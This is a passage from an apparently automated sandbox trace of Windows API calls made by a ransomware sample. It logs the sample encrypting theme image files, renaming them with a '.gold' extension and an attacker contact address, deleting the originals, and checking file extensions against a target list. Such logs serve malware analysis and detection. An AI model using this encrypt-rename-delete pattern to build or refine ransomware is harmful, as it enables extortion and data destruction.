dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.097] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.097] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.098] GetLastError () returned 0x0 [0042.098] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x53b, lpOverlapped=0x0) returned 1 [0042.099] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x540, lpOverlapped=0x0) returned 1 [0042.100] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.100] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.100] SetEndOfFile (hFile=0x1fc) returned 1 [0042.100] CloseHandle (hObject=0x1fc) returned 1 [0042.100] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.100] SetEndOfFile (hFile=0x18c) returned 1 [0042.101] CloseHandle (hObject=0x18c) returned 1 [0042.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.101] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1 [0042.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString=".doc") returned 4 [0042.102] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.102] lstrlenW (lpString=".docx") returned 5 [0042.102] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.102] lstrlenW (lpString=".pdf") returned 4 [0042.102] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString=".xls") returned 4 [0042.102] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString=".xlsx") returned 5 [0042.102] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.102] lstrlenW (lpString=".ppt") returned 4 [0042.102] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString=".zip") returned 4 [0042.102] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString=".rar") returned 4 [0042.102] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString=".bz2") returned 4 [0042.102] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.102] lstrlenW (lpString=".7z") returned 3 [0042.102] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString=".dbf") returned 4 [0042.102] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString=".1cd") returned 4 [0042.102] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString=".jpg") returned 4 [0042.102] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.102] lstrlenW (lpString=".doc") returned 4 [0042.102] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.102] lstrlenW (lpString=".docx") returned 5 [0042.102] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.102] lstrlenW (lpString=".pdf") returned 4 [0042.102] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString=".xls") returned 4 [0042.102] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.102] lstrlenW (lpString=".xlsx") returned 5 [0042.103] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.103] lstrlenW (lpString=".ppt") returned 4 [0042.103] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.103] lstrlenW (lpString=".zip") returned 4 [0042.103] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.103] lstrlenW (lpString=".rar") returned 4 [0042.103] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.103] lstrlenW (lpString=".bz2") returned 4 [0042.103] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.103] lstrlenW (lpString=".7z") returned 3 [0042.103] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.103] lstrlenW (lpString=".dbf") returned 4 [0042.103] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.103] lstrlenW (lpString=".1cd") returned 4 [0042.103] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0042.103] lstrlenW (lpString=".jpg") returned 4 [0042.103] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.103] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.103] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.103] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=16738) returned 1 [0042.103] CloseHandle (hObject=0x18c) returned 1 [0042.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0042.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.104] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.104] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.104] GetLastError () returned 0x0 [0042.104] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x4162, lpOverlapped=0x0) returned 1 [0042.105] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0042.106] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.106] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.106] SetEndOfFile (hFile=0x1fc) returned 1 [0042.106] CloseHandle (hObject=0x1fc) returned 1 [0042.106] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.106] SetEndOfFile (hFile=0x18c) returned 1 [0042.107] CloseHandle (hObject=0x18c) returned 1 [0042.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString=".doc") returned 4 [0042.108] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString=".docx") returned 5 [0042.108] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.108] lstrlenW (lpString=".pdf") returned 4 [0042.108] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString=".xls") returned 4 [0042.108] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.108] lstrlenW (lpString=".xlsx") returned 5 [0042.108] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.108] lstrlenW (lpString=".ppt") returned 4 [0042.108] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString=".zip") returned 4 [0042.108] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.108] lstrlenW (lpString=".rar") returned 4 [0042.108] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.108] lstrlenW (lpString=".bz2") returned 4 [0042.108] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString=".7z") returned 3 [0042.108] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString=".dbf") returned 4 [0042.108] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString=".1cd") returned 4 [0042.108] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString=".jpg") returned 4 [0042.108] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.108] lstrlenW (lpString=".doc") returned 4 [0042.108] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString=".docx") returned 5 [0042.108] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.108] lstrlenW (lpString=".pdf") returned 4 [0042.108] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.108] lstrlenW (lpString=".xls") returned 4 [0042.108] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.108] lstrlenW (lpString=".xlsx") returned 5 [0042.108] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.109] lstrlenW (lpString=".ppt") returned 4 [0042.109] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.109] lstrlenW (lpString=".zip") returned 4 [0042.109] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.109] lstrlenW (lpString=".rar") returned 4 [0042.109] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.109] lstrlenW (lpString=".bz2") returned 4 [0042.109] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.109] lstrlenW (lpString=".7z") returned 3 [0042.109] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.109] lstrlenW (lpString=".dbf") returned 4 [0042.109] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.109] lstrlenW (lpString=".1cd") returned 4 [0042.109] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0042.109] lstrlenW (lpString=".jpg") returned 4 [0042.109] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.109] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.109] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.109] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1439) returned 1 [0042.109] CloseHandle (hObject=0x18c) returned 1 [0042.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0042.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.110] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.110] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.561] GetLastError () returned 0x0 [0042.561] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x59f, lpOverlapped=0x0) returned 1 [0042.563] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0042.564] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.564] WriteFile (in: hFile=0x1f4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.564] SetEndOfFile (hFile=0x1f4) returned 1 [0042.564] CloseHandle (hObject=0x1f4) returned 1 [0042.565] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.565] SetEndOfFile (hFile=0x18c) returned 1 [0042.565] CloseHandle (hObject=0x18c) returned 1 [0042.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString=".doc") returned 4 [0042.566] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.566] lstrlenW (lpString=".docx") returned 5 [0042.566] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.566] lstrlenW (lpString=".pdf") returned 4 [0042.566] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString=".xls") returned 4 [0042.566] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString=".xlsx") returned 5 [0042.566] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.566] lstrlenW (lpString=".ppt") returned 4 [0042.566] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString=".zip") returned 4 [0042.566] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString=".rar") returned 4 [0042.566] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString=".bz2") returned 4 [0042.566] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.566] lstrlenW (lpString=".7z") returned 3 [0042.566] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString=".dbf") returned 4 [0042.566] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString=".1cd") returned 4 [0042.566] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString=".jpg") returned 4 [0042.566] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString=".doc") returned 4 [0042.566] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.566] lstrlenW (lpString=".docx") returned 5 [0042.566] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.566] lstrlenW (lpString=".pdf") returned 4 [0042.566] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString=".xls") returned 4 [0042.566] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString=".xlsx") returned 5 [0042.566] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.566] lstrlenW (lpString=".ppt") returned 4 [0042.566] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.566] lstrlenW (lpString=".zip") returned 4 [0042.566] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.566] lstrlenW (lpString=".rar") returned 4 [0042.567] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.567] lstrlenW (lpString=".bz2") returned 4 [0042.567] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.567] lstrlenW (lpString=".7z") returned 3 [0042.567] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.567] lstrlenW (lpString=".dbf") returned 4 [0042.567] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.567] lstrlenW (lpString=".1cd") returned 4 [0042.567] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0042.567] lstrlenW (lpString=".jpg") returned 4 [0042.567] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.567] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.567] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.567] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1423) returned 1 [0042.567] CloseHandle (hObject=0x18c) returned 1 [0042.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0042.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c 